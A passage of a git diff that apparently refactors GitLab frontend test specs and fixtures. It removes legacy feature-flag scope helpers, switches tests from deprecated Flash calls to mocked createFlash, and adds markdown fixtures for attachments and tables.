- mock.onPut(mockedState.endpoint, mapFromScopesViewModel(featureFlag)).replyOnce(200);
-
- testAction(
- updateFeatureFlag,
- featureFlag,
- mockedState,
- [],
- [
- {
- type: 'requestUpdateFeatureFlag',
- },
- {
- type: 'receiveUpdateFeatureFlagSuccess',
- },
- ],
- done,
- );
- });
- it('handles new version flags as well', (done) => {
- const featureFlag = {
name: 'name',
description: 'description',
active: true,
- version: NEW_VERSION_FLAG,
strategies: [
{
name: ROLLOUT_STRATEGY_ALL_USERS,
diff --git a/spec/frontend/feature_flags/store/helpers_spec.js b/spec/frontend/feature_flags/store/helpers_spec.js
index 711e2a1286e..2a6211c8cc1 100644
--- a/spec/frontend/feature_flags/store/helpers_spec.js
+++ b/spec/frontend/feature_flags/store/helpers_spec.js
@@ -1,351 +1,7 @@
-import { uniqueId } from 'lodash';
-import {
- ROLLOUT_STRATEGY_ALL_USERS,
- ROLLOUT_STRATEGY_PERCENT_ROLLOUT,
- ROLLOUT_STRATEGY_USER_ID,
- PERCENT_ROLLOUT_GROUP_ID,
- INTERNAL_ID_PREFIX,
- DEFAULT_PERCENT_ROLLOUT,
- LEGACY_FLAG,
- NEW_VERSION_FLAG,
-} from '~/feature_flags/constants';
-import {
- mapToScopesViewModel,
- mapFromScopesViewModel,
- createNewEnvironmentScope,
- mapStrategiesToViewModel,
- mapStrategiesToRails,
-} from '~/feature_flags/store/helpers';
+import { NEW_VERSION_FLAG } from '~/feature_flags/constants';
+import { mapStrategiesToViewModel, mapStrategiesToRails } from '~/feature_flags/store/helpers';
describe('feature flags helpers spec', () => {
- describe('mapToScopesViewModel', () => {
- it('converts the data object from the Rails API into something more usable by Vue', () => {
- const input = [
- {
- id: 3,
- environment_scope: 'environment_scope',
- active: true,
- can_update: true,
- protected: true,
- strategies: [
- {
- name: ROLLOUT_STRATEGY_PERCENT_ROLLOUT,
- parameters: {
- percentage: '56',
- },
- },
- {
- name: ROLLOUT_STRATEGY_USER_ID,
- parameters: {
- userIds: '123,234',
- },
- },
- ],
-
- _destroy: true,
- },
- ];
-
- const expected = [
- expect.objectContaining({
- id: 3,
- environmentScope: 'environment_scope',
- active: true,
- canUpdate: true,
- protected: true,
- rolloutStrategy: ROLLOUT_STRATEGY_PERCENT_ROLLOUT,
- rolloutPercentage: '56',
- rolloutUserIds: '123, 234',
- shouldBeDestroyed: true,
- }),
- ];
-
- const actual = mapToScopesViewModel(input);
-
- expect(actual).toEqual(expected);
- });
-
- it('returns Boolean properties even when their Rails counterparts were not provided (are `undefined`)', () => {
- const input = [
- {
- id: 3,
- environment_scope: 'environment_scope',
- },
- ];
-
- const [result] = mapToScopesViewModel(input);
-
- expect(result).toEqual(
- expect.objectContaining({
- active: false,
- canUpdate: false,
- protected: false,
- shouldBeDestroyed: false,
- }),
- );
- });
-
- it('returns an empty array if null or undefined is provided as a parameter', () => {
- expect(mapToScopesViewModel(null)).toEqual([]);
- expect(mapToScopesViewModel(undefined)).toEqual([]);
- });
-
- describe('with user IDs per environment', () => {
- let oldGon;
-
- beforeEach(() => {
- oldGon = window.gon;
- window.gon = { features: { featureFlagsUsersPerEnvironment: true } };
- });
-
- afterEach(() => {
- window.gon = oldGon;
- });
-
- it('sets the user IDs as a comma separated string', () => {
- const input = [
- {
- id: 3,
- environment_scope: 'environment_scope',
- active: true,
- can_update: true,
- protected: true,
- strategies: [
- {
- name: ROLLOUT_STRATEGY_PERCENT_ROLLOUT,
- parameters: {
- percentage: '56',
- },
- },
- {
- name: ROLLOUT_STRATEGY_USER_ID,
- parameters: {
- userIds: '123,234',
- },
- },
- ],
-
- _destroy: true,
- },
- ];
-
- const expected = [
- {
- id: 3,
- environmentScope: 'environment_scope',
- active: true,
- canUpdate: true,
- protected: true,
- rolloutStrategy: ROLLOUT_STRATEGY_PERCENT_ROLLOUT,
- rolloutPercentage: '56',
- rolloutUserIds: '123, 234',
- shouldBeDestroyed: true,
- shouldIncludeUserIds: true,
- },
- ];
-
- const actual = mapToScopesViewModel(input);
-
- expect(actual).toEqual(expected);
- });
- });
- });
-
- describe('mapFromScopesViewModel', () => {
- it('converts the object emitted from the Vue component into an object than is in the right format to be submitted to the Rails API', () => {
- const input = {
- name: 'name',
- description: 'description',
- active: true,
- scopes: [
- {
- id: 4,
- environmentScope: 'environmentScope',
- active: true,
- canUpdate: true,
- protected: true,
- shouldBeDestroyed: true,
- shouldIncludeUserIds: true,
- rolloutStrategy: ROLLOUT_STRATEGY_PERCENT_ROLLOUT,
- rolloutPercentage: '48',
- rolloutUserIds: '123, 234',
- },
- ],
- };
-
- const expected = {
- operations_feature_flag: {
- name: 'name',
- description: 'description',
- active: true,
- version: LEGACY_FLAG,
- scopes_attributes: [
- {
- id: 4,
- environment_scope: 'environmentScope',
- active: true,
- can_update: true,
- protected: true,
- _destroy: true,
- strategies: [
- {
- name: ROLLOUT_STRATEGY_PERCENT_ROLLOUT,
- parameters: {
- groupId: PERCENT_ROLLOUT_GROUP_ID,
- percentage: '48',
- },
- },
- {
- name: ROLLOUT_STRATEGY_USER_ID,
- parameters: {
- userIds: '123,234',
- },
- },
- ],
- },
- ],
- },
- };
-
- const actual = mapFromScopesViewModel(input);
-
- expect(actual).toEqual(expected);
- });
-
- it('should strip out internal IDs', () => {
- const input = {
- scopes: [{ id: 3 }, { id: uniqueId(INTERNAL_ID_PREFIX) }],
- };
-
- const result = mapFromScopesViewModel(input);
- const [realId, internalId] = result.operations_feature_flag.scopes_attributes;
-
- expect(realId.id).toBe(3);
- expect(internalId.id).toBeUndefined();
- });
-
- it('returns scopes_attributes as [] if param.scopes is null or undefined', () => {
- let {
- operations_feature_flag: { scopes_attributes: actualScopes },
- } = mapFromScopesViewModel({ scopes: null });
-
- expect(actualScopes).toEqual([]);
-
- ({
- operations_feature_flag: { scopes_attributes: actualScopes },
- } = mapFromScopesViewModel({ scopes: undefined }));
-
- expect(actualScopes).toEqual([]);
- });
- describe('with user IDs per environment', () => {
- it('sets the user IDs as a comma separated string', () => {
- const input = {
- name: 'name',
- description: 'description',
- active: true,
- scopes: [
- {
- id: 4,
- environmentScope: 'environmentScope',
- active: true,
- canUpdate: true,
- protected: true,
- shouldBeDestroyed: true,
- rolloutStrategy: ROLLOUT_STRATEGY_PERCENT_ROLLOUT,
- rolloutPercentage: '48',
- rolloutUserIds: '123, 234',
- shouldIncludeUserIds: true,
- },
- ],
- };
-
- const expected = {
- operations_feature_flag: {
- name: 'name',
- description: 'description',
- version: LEGACY_FLAG,
- active: true,
- scopes_attributes: [
- {
- id: 4,
- environment_scope: 'environmentScope',
- active: true,
- can_update: true,
- protected: true,
- _destroy: true,
- strategies: [
- {
- name: ROLLOUT_STRATEGY_PERCENT_ROLLOUT,
- parameters: {
- groupId: PERCENT_ROLLOUT_GROUP_ID,
- percentage: '48',
- },
- },
- {
- name: ROLLOUT_STRATEGY_USER_ID,
- parameters: {
- userIds: '123,234',
- },
- },
- ],
- },
- ],
- },
- };
-
- const actual = mapFromScopesViewModel(input);
-
- expect(actual).toEqual(expected);
- });
- });
- });
-
- describe('createNewEnvironmentScope', () => {
- it('should return a new environment scope object populated with the default options', () => {
- const expected = {
- environmentScope: '',
- active: false,
- id: expect.stringContaining(INTERNAL_ID_PREFIX),
- rolloutStrategy: ROLLOUT_STRATEGY_ALL_USERS,
- rolloutPercentage: DEFAULT_PERCENT_ROLLOUT,
- rolloutUserIds: '',
- };
-
- const actual = createNewEnvironmentScope();
-
- expect(actual).toEqual(expected);
- });
-
- it('should return a new environment scope object with overrides applied', () => {
- const overrides = {
- environmentScope: 'environmentScope',
- active: true,
- };
-
- const expected = {
- environmentScope: 'environmentScope',
- active: true,
- id: expect.stringContaining(INTERNAL_ID_PREFIX),
- rolloutStrategy: ROLLOUT_STRATEGY_ALL_USERS,
- rolloutPercentage: DEFAULT_PERCENT_ROLLOUT,
- rolloutUserIds: '',
- };
-
- const actual = createNewEnvironmentScope(overrides);
-
- expect(actual).toEqual(expected);
- });
-
- it('sets canUpdate and protected when called with featureFlagPermissions=true', () => {
- expect(createNewEnvironmentScope({}, true)).toEqual(
- expect.objectContaining({
- canUpdate: true,
- protected: false,
- }),
- );
- });
- });
-
describe('mapStrategiesToViewModel', () => {
it('should map rails casing to view model casing', () => {
expect(
@@ -380,14 +36,14 @@ describe('feature flags helpers spec', () => {
});
it('inserts spaces between user ids', () => {
- const strategy = mapStrategiesToViewModel([
+ const [strategy] = mapStrategiesToViewModel([
{
id: '1',
name: 'userWithId',
parameters: { userIds: 'user1,user2,user3' },
scopes: [],
},
- ])[0];
+ ]);
expect(strategy.parameters).toEqual({ userIds: 'user1, user2, user3' });
});
@@ -399,7 +55,6 @@ describe('feature flags helpers spec', () => {
mapStrategiesToRails({
name: 'test',
description: 'test description',
- version: NEW_VERSION_FLAG,
active: true,
strategies: [
{
@@ -421,8 +76,8 @@ describe('feature flags helpers spec', () => {
operations_feature_flag: {
name: 'test',
description: 'test description',
- version: NEW_VERSION_FLAG,
active: true,
+ version: NEW_VERSION_FLAG,
strategies_attributes: [
{
id: '1',
@@ -447,7 +102,6 @@ describe('feature flags helpers spec', () => {
mapStrategiesToRails({
name: 'test',
description: 'test description',
- version: NEW_VERSION_FLAG,
active: true,
strategies: [
{
@@ -462,8 +116,8 @@ describe('feature flags helpers spec', () => {
operations_feature_flag: {
name: 'test',
description: 'test description',
- version: NEW_VERSION_FLAG,
active: true,
+ version: NEW_VERSION_FLAG,
strategies_attributes: [
{
id: '1',
@@ -483,7 +137,6 @@ describe('feature flags helpers spec', () => {
it('removes white space between user ids', () => {
const result = mapStrategiesToRails({
name: 'test',
- version: NEW_VERSION_FLAG,
active: true,
strategies: [
{
@@ -503,7 +156,6 @@ describe('feature flags helpers spec', () => {
it('preserves the value of active', () => {
const result = mapStrategiesToRails({
name: 'test',
- version: NEW_VERSION_FLAG,
active: false,
strategies: [],
});
diff --git a/spec/frontend/feature_flags/store/index/actions_spec.js b/spec/frontend/feature_flags/store/index/actions_spec.js
index ec311ef92a3..a59f99f538c 100644
--- a/spec/frontend/feature_flags/store/index/actions_spec.js
+++ b/spec/frontend/feature_flags/store/index/actions_spec.js
@@ -1,7 +1,6 @@
import MockAdapter from 'axios-mock-adapter';
import testAction from 'helpers/vuex_action_helper';
import { TEST_HOST } from 'spec/test_constants';
-import { mapToScopesViewModel } from '~/feature_flags/store/helpers';
import {
requestFeatureFlags,
receiveFeatureFlagsSuccess,
@@ -255,7 +254,6 @@ describe('Feature flags actions', () => {
beforeEach(() => {
mockedState.featureFlags = getRequestData.feature_flags.map((flag) => ({
...flag,
- scopes: mapToScopesViewModel(flag.scopes || []),
}));
mock = new MockAdapter(axios);
});
@@ -314,7 +312,6 @@ describe('Feature flags actions', () => {
beforeEach(() => {
mockedState.featureFlags = getRequestData.feature_flags.map((f) => ({
...f,
- scopes: mapToScopesViewModel(f.scopes || []),
}));
});
@@ -338,7 +335,6 @@ describe('Feature flags actions', () => {
beforeEach(() => {
mockedState.featureFlags = getRequestData.feature_flags.map((f) => ({
...f,
- scopes: mapToScopesViewModel(f.scopes || []),
}));
});
@@ -362,7 +358,6 @@ describe('Feature flags actions', () => {
beforeEach(() => {
mockedState.featureFlags = getRequestData.feature_flags.map((f) => ({
...f,
- scopes: mapToScopesViewModel(f.scopes || []),
}));
});
diff --git a/spec/frontend/feature_flags/store/index/mutations_spec.js b/spec/frontend/feature_flags/store/index/mutations_spec.js
index b9354196c68..c19f459e124 100644
--- a/spec/frontend/feature_flags/store/index/mutations_spec.js
+++ b/spec/frontend/feature_flags/store/index/mutations_spec.js
@@ -1,4 +1,3 @@
-import { mapToScopesViewModel } from '~/feature_flags/store/helpers';
import * as types from '~/feature_flags/store/index/mutation_types';
import mutations from '~/feature_flags/store/index/mutations';
import state from '~/feature_flags/store/index/state';
@@ -49,15 +48,6 @@ describe('Feature flags store Mutations', () => {
expect(stateCopy.hasError).toEqual(false);
});
- it('should set featureFlags with the transformed data', () => {
- const expected = getRequestData.feature_flags.map((flag) => ({
- ...flag,
- scopes: mapToScopesViewModel(flag.scopes || []),
- }));
-
- expect(stateCopy.featureFlags).toEqual(expected);
- });
-
it('should set count with the given data', () => {
expect(stateCopy.count).toEqual(37);
});
@@ -131,13 +121,11 @@ describe('Feature flags store Mutations', () => {
beforeEach(() => {
stateCopy.featureFlags = getRequestData.feature_flags.map((flag) => ({
...flag,
- scopes: mapToScopesViewModel(flag.scopes || []),
}));
stateCopy.count = { featureFlags: 1, userLists: 0 };
mutations[types.UPDATE_FEATURE_FLAG](stateCopy, {
...featureFlag,
- scopes: mapToScopesViewModel(featureFlag.scopes || []),
active: false,
});
});
@@ -146,7 +134,6 @@ describe('Feature flags store Mutations', () => {
expect(stateCopy.featureFlags).toEqual([
{
...featureFlag,
- scopes: mapToScopesViewModel(featureFlag.scopes || []),
active: false,
},
]);
@@ -158,7 +145,6 @@ describe('Feature flags store Mutations', () => {
stateCopy.featureFlags = getRequestData.feature_flags.map((flag) => ({
...flag,
...flagState,
- scopes: mapToScopesViewModel(flag.scopes || []),
}));
stateCopy.count = stateCount;
@@ -174,7 +160,6 @@ describe('Feature flags store Mutations', () => {
expect(stateCopy.featureFlags).toEqual([
{
...featureFlag,
- scopes: mapToScopesViewModel(featureFlag.scopes || []),
active: false,
},
]);
@@ -185,7 +170,6 @@ describe('Feature flags store Mutations', () => {
beforeEach(() => {
stateCopy.featureFlags = getRequestData.feature_flags.map((flag) => ({
...flag,
- scopes: mapToScopesViewModel(flag.scopes || []),
}));
mutations[types.RECEIVE_UPDATE_FEATURE_FLAG_ERROR](stateCopy, featureFlag.id);
});
@@ -194,7 +178,6 @@ describe('Feature flags store Mutations', () => {
expect(stateCopy.featureFlags).toEqual([
{
...featureFlag,
- scopes: mapToScopesViewModel(featureFlag.scopes || []),
active: false,
},
]);
diff --git a/spec/frontend/feature_flags/store/new/actions_spec.js b/spec/frontend/feature_flags/store/new/actions_spec.js
index 00dfb982ded..7900b200eb2 100644
--- a/spec/frontend/feature_flags/store/new/actions_spec.js
+++ b/spec/frontend/feature_flags/store/new/actions_spec.js
@@ -1,13 +1,7 @@
import MockAdapter from 'axios-mock-adapter';
import testAction from 'helpers/vuex_action_helper';
-import { TEST_HOST } from 'spec/test_constants';
-import {
- ROLLOUT_STRATEGY_ALL_USERS,
- ROLLOUT_STRATEGY_PERCENT_ROLLOUT,
- LEGACY_FLAG,
- NEW_VERSION_FLAG,
-} from '~/feature_flags/constants';
-import { mapFromScopesViewModel, mapStrategiesToRails } from '~/feature_flags/store/helpers';
+import { ROLLOUT_STRATEGY_ALL_USERS } from '~/feature_flags/constants';
+import { mapStrategiesToRails } from '~/feature_flags/store/helpers';
import {
createFeatureFlag,
requestCreateFeatureFlag,
@@ -24,33 +18,13 @@ describe('Feature flags New Module Actions', () => {
let mockedState;
beforeEach(() => {
- mockedState = state({ endpoint: 'feature_flags.json', path: '/feature_flags' });
+ mockedState = state({ endpoint: '/feature_flags.json', path: '/feature_flags' });
});
describe('createFeatureFlag', () => {
let mock;
- const actionParams = {
- name: 'name',
- description: 'description',
- active: true,
- version: LEGACY_FLAG,
- scopes: [
- {
- id: 1,
- environmentScope: 'environmentScope',
- active: true,
- canUpdate: true,
- protected: true,
- shouldBeDestroyed: false,
- rolloutStrategy: ROLLOUT_STRATEGY_ALL_USERS,
- rolloutPercentage: ROLLOUT_STRATEGY_PERCENT_ROLLOUT,
- },
- ],
- };
-
beforeEach(() => {
- mockedState.endpoint = `${TEST_HOST}/endpoint.json`;
mock = new MockAdapter(axios);
});
@@ -60,33 +34,10 @@ describe('Feature flags New Module Actions', () => {
describe('success', () => {
it('dispatches requestCreateFeatureFlag and receiveCreateFeatureFlagSuccess ', (done) => {
- const convertedActionParams = mapFromScopesViewModel(actionParams);
-
- mock.onPost(`${TEST_HOST}/endpoint.json`, convertedActionParams).replyOnce(200);
-
- testAction(
- createFeatureFlag,
- actionParams,
- mockedState,
- [],
- [
- {
- type: 'requestCreateFeatureFlag',
- },
- {
- type: 'receiveCreateFeatureFlagSuccess',
- },
- ],
- done,
- );
- });
-
- it('sends strategies for new style feature flags', (done) => {
- const newVersionFlagParams = {
+ const actionParams = {
name: 'name',
description: 'description',
active: true,
- version: NEW_VERSION_FLAG,
strategies: [
{
name: ROLLOUT_STRATEGY_ALL_USERS,
@@ -97,13 +48,11 @@ describe('Feature flags New Module Actions', () => {
},
],
};
- mock
- .onPost(`${TEST_HOST}/endpoint.json`, mapStrategiesToRails(newVersionFlagParams))
- .replyOnce(200);
+ mock.onPost(mockedState.endpoint, mapStrategiesToRails(actionParams)).replyOnce(200);
testAction(
createFeatureFlag,
- newVersionFlagParams,
+ actionParams,
mockedState,
[],
[
@@ -121,10 +70,22 @@ describe('Feature flags New Module Actions', () => {
describe('error', () => {
it('dispatches requestCreateFeatureFlag and receiveCreateFeatureFlagError ', (done) => {
- const convertedActionParams = mapFromScopesViewModel(actionParams);
-
+ const actionParams = {
+ name: 'name',
+ description: 'description',
+ active: true,
+ strategies: [
+ {
+ name: ROLLOUT_STRATEGY_ALL_USERS,
+ parameters: {},
+ id: 1,
+ scopes: [{ id: 1, environmentScope: 'environmentScope', shouldBeDestroyed: false }],
+ shouldBeDestroyed: false,
+ },
+ ],
+ };
mock
- .onPost(`${TEST_HOST}/endpoint.json`, convertedActionParams)
+ .onPost(mockedState.endpoint, mapStrategiesToRails(actionParams))
.replyOnce(500, { message: [] });
testAction(
diff --git a/spec/frontend/feature_highlight/feature_highlight_helper_spec.js b/spec/frontend/feature_highlight/feature_highlight_helper_spec.js
index 1b5bffc1f9b..b87571830ca 100644
--- a/spec/frontend/feature_highlight/feature_highlight_helper_spec.js
+++ b/spec/frontend/feature_highlight/feature_highlight_helper_spec.js
@@ -1,6 +1,6 @@
import MockAdapter from 'axios-mock-adapter';
import { dismiss } from '~/feature_highlight/feature_highlight_helper';
-import { deprecatedCreateFlash as Flash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import httpStatusCodes from '~/lib/utils/http_status';
@@ -32,9 +32,10 @@ describe('feature highlight helper', () => {
await dismiss(endpoint, highlightId);
- expect(Flash).toHaveBeenCalledWith(
- 'An error occurred while dismissing the feature highlight. Refresh the page and try dismissing again.',
- );
+ expect(createFlash).toHaveBeenCalledWith({
+ message:
+ 'An error occurred while dismissing the feature highlight. Refresh the page and try dismissing again.',
+ });
});
});
});
diff --git a/spec/frontend/filtered_search/filtered_search_manager_spec.js b/spec/frontend/filtered_search/filtered_search_manager_spec.js
index c03c8f6c529..83e7f6c9b3f 100644
--- a/spec/frontend/filtered_search/filtered_search_manager_spec.js
+++ b/spec/frontend/filtered_search/filtered_search_manager_spec.js
@@ -8,12 +8,14 @@ import IssuableFilteredSearchTokenKeys from '~/filtered_search/issuable_filtered
import RecentSearchesRoot from '~/filtered_search/recent_searches_root';
import RecentSearchesService from '~/filtered_search/services/recent_searches_service';
import RecentSearchesServiceError from '~/filtered_search/services/recent_searches_service_error';
-import * as commonUtils from '~/lib/utils/common_utils';
+import createFlash from '~/flash';
import { BACKSPACE_KEY_CODE, DELETE_KEY_CODE } from '~/lib/utils/keycodes';
-import { visitUrl } from '~/lib/utils/url_utility';
+import { visitUrl, getParameterByName } from '~/lib/utils/url_utility';
+jest.mock('~/flash');
jest.mock('~/lib/utils/url_utility', () => ({
...jest.requireActual('~/lib/utils/url_utility'),
+ getParameterByName: jest.fn(),
visitUrl: jest.fn(),
}));
@@ -84,9 +86,10 @@ describe('Filtered Search Manager', () => {
jest
.spyOn(FilteredSearchDropdownManager.prototype, 'updateDropdownOffset')
.mockImplementation();
- jest.spyOn(commonUtils, 'getParameterByName').mockReturnValue(null);
jest.spyOn(FilteredSearchVisualTokens, 'unselectTokens');
+ getParameterByName.mockReturnValue(null);
+
input = document.querySelector('.filtered-search');
tokensContainer = document.querySelector('.tokens-container');
manager = new FilteredSearchManager({ page, useDefaultState });
@@ -127,11 +130,10 @@ describe('Filtered Search Manager', () => {
jest
.spyOn(RecentSearchesService.prototype, 'fetch')
.mockImplementation(() => Promise.reject(new RecentSearchesServiceError()));
- jest.spyOn(window, 'Flash').mockImplementation();
manager.setup();
- expect(window.Flash).not.toHaveBeenCalled();
+ expect(createFlash).not.toHaveBeenCalled();
});
});
diff --git a/spec/frontend/filtered_search/visual_token_value_spec.js b/spec/frontend/filtered_search/visual_token_value_spec.js
index 772fa7d07ed..7185f382fc1 100644
--- a/spec/frontend/filtered_search/visual_token_value_spec.js
+++ b/spec/frontend/filtered_search/visual_token_value_spec.js
@@ -1,11 +1,14 @@
import { escape } from 'lodash';
import FilteredSearchSpecHelper from 'helpers/filtered_search_spec_helper';
import { TEST_HOST } from 'helpers/test_constants';
-import DropdownUtils from '~/filtered_search//dropdown_utils';
+import DropdownUtils from '~/filtered_search/dropdown_utils';
import VisualTokenValue from '~/filtered_search/visual_token_value';
+import createFlash from '~/flash';
import AjaxCache from '~/lib/utils/ajax_cache';
import UsersCache from '~/lib/utils/users_cache';
+jest.mock('~/flash');
+
describe('Filtered Search Visual Tokens', () => {
const findElements = (tokenElement) => {
const tokenNameElement = tokenElement.querySelector('.name');
@@ -43,7 +46,6 @@ describe('Filtered Search Visual Tokens', () => {
});
it('ignores error if UsersCache throws', (done) => {
- jest.spyOn(window, 'Flash').mockImplementation(() => {});
const dummyError = new Error('Earth rotated backwards');
const { subject, tokenValueContainer, tokenValueElement } = findElements(authorToken);
const tokenValue = tokenValueElement.innerText;
@@ -55,7 +57,7 @@ describe('Filtered Search Visual Tokens', () => {
subject
.updateUserTokenAppearance(tokenValueContainer, tokenValueElement, tokenValue)
.then(() => {
- expect(window.Flash.mock.calls.length).toBe(0);
+ expect(createFlash.mock.calls.length).toBe(0);
})
.then(done)
.catch(done.fail);
diff --git a/spec/frontend/fixtures/api_markdown.rb b/spec/frontend/fixtures/api_markdown.rb
index 1c3967b2c36..94db262e4fd 100644
--- a/spec/frontend/fixtures/api_markdown.rb
+++ b/spec/frontend/fixtures/api_markdown.rb
@@ -4,12 +4,29 @@ require 'spec_helper'
RSpec.describe API::MergeRequests, '(JavaScript fixtures)', type: :request do
include ApiHelpers
+ include WikiHelpers
include JavaScriptFixturesHelpers
+ let_it_be(:user) { create(:user) }
+
+ let_it_be(:group) { create(:group, :public) }
+ let_it_be(:project) { create(:project, :public, :repository, group: group) }
+
+ let_it_be(:project_wiki) { create(:project_wiki, user: user) }
+
+ let(:project_wiki_page) { create(:wiki_page, wiki: project_wiki) }
+
fixture_subdir = 'api/markdown'
before(:all) do
clean_frontend_fixtures(fixture_subdir)
+
+ group.add_owner(user)
+ project.add_maintainer(user)
+ end
+
+ before do
+ sign_in(user)
end
markdown_examples = begin
@@ -19,14 +36,27 @@ RSpec.describe API::MergeRequests, '(JavaScript fixtures)', type: :request do
end
markdown_examples.each do |markdown_example|
+ context = markdown_example.fetch(:context, '')
name = markdown_example.fetch(:name)
- context "for #{name}" do
+ context "for #{name}#{!context.empty? ? " (context: #{context})" : ''}" do
let(:markdown) { markdown_example.fetch(:markdown) }
+ name = "#{context}_#{name}" unless context.empty?
+
it "#{fixture_subdir}/#{name}.json" do
- post api("/markdown"), params: { text: markdown, gfm: true }
+ api_url = case context
+ when 'project'
+ "/#{project.full_path}/preview_markdown"
+ when 'group'
+ "/groups/#{group.full_path}/preview_markdown"
+ when 'project_wiki'
+ "/#{project.full_path}/-/wikis/#{project_wiki_page.slug}/preview_markdown"
+ else
+ api "/markdown"
+ end
+ post api_url, params: { text: markdown, gfm: true }
expect(response).to be_successful
end
end
diff --git a/spec/frontend/fixtures/api_markdown.yml b/spec/frontend/fixtures/api_markdown.yml
index 3274e914f03..8d8c9a1d902 100644
--- a/spec/frontend/fixtures/api_markdown.yml
+++ b/spec/frontend/fixtures/api_markdown.yml
@@ -10,8 +10,28 @@
markdown: '`code`'
- name: strike
markdown: '~~del~~'
+- name: horizontal_rule
+ markdown: '---'
- name: link
markdown: '[GitLab](https://gitlab.com)'
+- name: attachment_link
+ context: project_wiki
+ markdown: '[test-file](test-file.zip)'
+- name: attachment_link
+ context: project
+ markdown: '[test-file](/uploads/aa45a38ec2cfe97433281b10bbff042c/test-file.zip)'
+- name: attachment_link
+ context: group
+ markdown: '[test-file](/uploads/aa45a38ec2cfe97433281b10bbff042c/test-file.zip)'
+- name: attachment_image
+ context: project_wiki
+ markdown: '![test-file](test-file.png)'
+- name: attachment_image
+ context: project
+ markdown: '![test-file](/uploads/aa45a38ec2cfe97433281b10bbff042c/test-file.png)'
+- name: attachment_image
+ context: group
+ markdown: '![test-file](/uploads/aa45a38ec2cfe97433281b10bbff042c/test-file.png)'
- name: code_block
markdown: |-
```javascript
@@ -54,3 +74,16 @@
markdown: |-
This is a line after a\
hard break
+- name: table
+ markdown: |-
+ | header | header |
+ |--------|--------|
+ | cell | cell |
+ | cell | cell |
+- name: table_with_alignment
+ markdown: |-
+ | header | : header : | header : |
+ |--------|------------|----------|
+ | cell | cell | cell |
+ | cell | cell | cell |
+
diff --git a/spec/frontend/fixtures/application_settings.rb b/spec/frontend/fixtures/application_settings.rb
index ebccecb32ba..b09bea56b94 100644
--- a/spec/frontend/fixtures/application_settings.rb
+++ b/spec/frontend/fixtures/application_settings.rb
@@ -34,4 +34,12 @@ RSpec.describe Admin::ApplicationSettingsController, '(JavaScript fixtures)', ty
expect(response).to be_successful
end
+
+ it 'application_settings/usage.html' do
+ stub_application_setting(usage_ping_enabled: false)
+
+ get :metrics_and_profiling
+
+ expect(response).to be_successful
+ end
end
diff --git a/spec/frontend/fixtures/pipelines.rb b/spec/frontend/fixtures/pipelines.rb
index 2a538352abe..f695b74ec87 100644
--- a/spec/frontend/fixtures/pipelines.rb
+++ b/spec/frontend/fixtures/pipelines.rb
@@ -13,6 +13,7 @@ RSpec.describe Projects::PipelinesController, '(JavaScript fixtures)', type: :co
let!(:build_pipeline_without_author) { create(:ci_build, pipeline: pipeline_without_author, stage: 'test') }
let_it_be(:pipeline_without_commit) { create(:ci_pipeline, status: :success, project: project, sha: '0000') }
+
let!(:build_pipeline_without_commit) { create(:ci_build, pipeline: pipeline_without_commit, stage: 'test') }
let(:commit) { create(:commit, project: project) }
diff --git a/spec/frontend/fixtures/projects.rb b/spec/frontend/fixtures/projects.rb
index 778ae218160..7873d59dbad 100644
--- a/spec/frontend/fixtures/projects.rb
+++ b/spec/frontend/fixtures/projects.rb
@@ -61,13 +61,12 @@ RSpec.describe 'Projects (JavaScript fixtures)', type: :controller do
clean_frontend_fixtures('graphql/projects/access_tokens')
end
- fragment_paths = ['graphql_shared/fragments/pageInfo.fragment.graphql']
base_input_path = 'access_tokens/graphql/queries/'
base_output_path = 'graphql/projects/access_tokens/'
query_name = 'get_projects.query.graphql'
it "#{base_output_path}#{query_name}.json" do
- query = get_graphql_query_as_string("#{base_input_path}#{query_name}", fragment_paths)
+ query = get_graphql_query_as_string("#{base_input_path}#{query_name}")
post_graphql(query, current_user: user, variables: { search: '', first: 2 })
diff --git a/spec/frontend/fixtures/prometheus_service.rb b/spec/frontend/fixtures/prometheus_service.rb
index 3a59ecf3868..c349f2a24bc 100644
--- a/spec/frontend/fixtures/prometheus_service.rb
+++ b/spec/frontend/fixtures/prometheus_service.rb
@@ -7,7 +7,7 @@ RSpec.describe Projects::ServicesController, '(JavaScript fixtures)', type: :con
let(:namespace) { create(:namespace, name: 'frontend-fixtures' )}
let(:project) { create(:project_empty_repo, namespace: namespace, path: 'services-project') }
- let!(:service) { create(:prometheus_service, project: project) }
+ let!(:integration) { create(:prometheus_integration, project: project) }
let(:user) { project.owner }
render_views
@@ -28,7 +28,7 @@ RSpec.describe Projects::ServicesController, '(JavaScript fixtures)', type: :con
get :edit, params: {
namespace_id: namespace,
project_id: project,
- id: service.to_param
+ id: integration.to_param
}
expect(response).to be_successful
diff --git a/spec/frontend/fixtures/releases.rb b/spec/frontend/fixtures/releases.rb
index ac34400bc01..e8f259fba15 100644
--- a/spec/frontend/fixtures/releases.rb
+++ b/spec/frontend/fixtures/releases.rb
@@ -133,15 +133,13 @@ RSpec.describe 'Releases (JavaScript fixtures)' do
all_releases_query_path = 'releases/graphql/queries/all_releases.query.graphql'
one_release_query_path = 'releases/graphql/queries/one_release.query.graphql'
one_release_for_editing_query_path = 'releases/graphql/queries/one_release_for_editing.query.graphql'
- release_fragment_path = 'releases/graphql/fragments/release.fragment.graphql'
- release_for_editing_fragment_path = 'releases/graphql/fragments/release_for_editing.fragment.graphql'
before(:all) do
clean_frontend_fixtures('graphql/releases/')
end
it "graphql/#{all_releases_query_path}.json" do
- query = get_graphql_query_as_string(all_releases_query_path, [release_fragment_path])
+ query = get_graphql_query_as_string(all_releases_query_path)
post_graphql(query, current_user: admin, variables: { fullPath: project.full_path })
@@ -150,7 +148,7 @@ RSpec.describe 'Releases (JavaScript fixtures)' do
end
it "graphql/#{one_release_query_path}.json" do
- query = get_graphql_query_as_string(one_release_query_path, [release_fragment_path])
+ query = get_graphql_query_as_string(one_release_query_path)
post_graphql(query, current_user: admin, variables: { fullPath: project.full_path, tagName: release.tag })
@@ -159,7 +157,7 @@ RSpec.describe 'Releases (JavaScript fixtures)' do
end
it "graphql/#{one_release_for_editing_query_path}.json" do
- query = get_graphql_query_as_string(one_release_for_editing_query_path, [release_for_editing_fragment_path])
+ query = get_graphql_query_as_string(one_release_for_editing_query_path)
post_graphql(query, current_user: admin, variables: { fullPath: project.full_path, tagName: release.tag })
diff --git a/spec/frontend/fixtures/runner.rb b/spec/frontend/fixtures/runner.rb
index b88fb840137..e29a58f43b9 100644
--- a/spec/frontend/fixtures/runner.rb
+++ b/spec/frontend/fixtures/runner.rb
